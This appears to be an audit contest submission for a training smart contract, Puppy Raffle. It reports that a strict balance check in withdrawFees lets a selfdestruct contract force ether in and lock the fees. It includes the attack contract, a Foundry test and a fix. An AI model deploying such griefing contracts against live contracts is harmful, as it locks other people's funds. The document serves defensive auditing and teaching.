First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees function require check can cause fees to be locked

dcheng

Summary

Function withdrawFees require check uses contract balance to check for equality. The contract balance can be changed by forcefully sending it ether. Ether can be forcefully sent by deploying a malicious contract and calling the selfdestruct method.

Vulnerability Details

withdrawFees function vulnerable to DoS attack by forcefully sending Ether to the contract.

Impact

Fees will be locked in the contract.

POC

Malicious contract that will forcefully send Ether to PuppyRaffle contract

// Malicious contract
contract Attack {
PuppyRaffle public puppyRaffle;
​
constructor(address puppyRaffleAddress) {
puppyRaffle = PuppyRaffle(puppyRaffleAddress);
}
function attack() public payable {
// call selfdestruct and forcefully send ether to puppy raffle contract
selfdestruct(payable(address(puppyRaffle)));
}
}

foundry forge test case

function testWithdrawFeesDos() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
uint256 totalFees = puppyRaffle.totalFees();
assertEq(totalFees, 800000000000000000);
​
Attack attack = new Attack(address(puppyRaffle));
attack.attack{value: 0.001 ether}();
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Tools Used

  • Foundry

  • Slither

Recommendations

  • Don't rely on address(this).balance

  • The require check in withdrawFees can be removed since withdrawing fees has no impact on the raffle.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.